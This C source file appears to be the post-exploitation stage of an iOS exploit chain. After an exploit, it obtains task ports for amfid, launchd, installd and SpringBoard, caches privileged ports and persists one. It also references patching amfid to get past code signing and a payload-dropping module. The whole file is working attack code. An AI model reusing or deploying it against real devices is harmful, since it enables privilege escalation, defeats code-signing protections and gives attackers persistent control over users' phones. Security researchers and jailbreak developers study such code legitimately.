#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdarg.h>
#include <pthread.h>

#include <mach/mach.h>
#include <mach/task.h>
#include <mach/mach_error.h>
#include <mach/mach_traps.h>

#include "post_exploit.h"
#include "sploit.h"

//#include "remote_memory.h"
//#include "triple_fetch_remote_call.h"
#include "remote_ports.h"


// use the processor_set_tasks feature to get the task ports for everything:
#include "task_ports.h"

#include "patch_amfid.h"
#include "drop_payload.h"

void do_post_exploit(mach_port_t tp) {


    // terminate the exploited task and let launchd restart it if required
    // the current exploit will just leave the process in an infinite loop
    extern mach_port_t passed_priv_port;
    
    if(passed_priv_port == MACH_PORT_NULL) {
        task_terminate(tp);
        mach_port_deallocate(mach_task_self(), tp);
    }
    
    mach_port_t amfid_task_port = find_task_port_for_path("/usr/libexec/amfid");
    mach_port_t launchd_task_port = find_task_port_for_path("/sbin/launchd");
    mach_port_t installd_task_port = find_task_port_for_path("installd");
    mach_port_t springboard_task_port = find_task_port_for_path("SpringBoard");

    mach_port_mod_refs(mach_task_self(), amfid_task_port, MACH_PORT_RIGHT_SEND, 1);
    mach_port_mod_refs(mach_task_self(), launchd_task_port, MACH_PORT_RIGHT_SEND, 1);
    mach_port_mod_refs(mach_task_self(), installd_task_port, MACH_PORT_RIGHT_SEND, 1);
    mach_port_mod_refs(mach_task_self(), springboard_task_port, MACH_PORT_RIGHT_SEND, 1);

    printf("amfid task port: %x\n", amfid_task_port);
    printf("launchd task port: %x\n", launchd_task_port);
    printf("installd task port: %x", installd_task_port);
    printf("springboard task port: %x", springboard_task_port);
  
//    patch_amfid(amfid_task_port); // this is not necessary if you sign the debugserver and other binaries yourself

    cache_privileged_port(launchd_task_port);
    cache_spawn_context_port(springboard_task_port);

    extern mach_port_t passed_priv_port;
    if(passed_priv_port == MACH_PORT_NULL) {
        extern void persist_priv_port();
        persist_priv_port();
    }
    extern void utilities_init(mach_port_t);
    utilities_init(launchd_task_port);
}
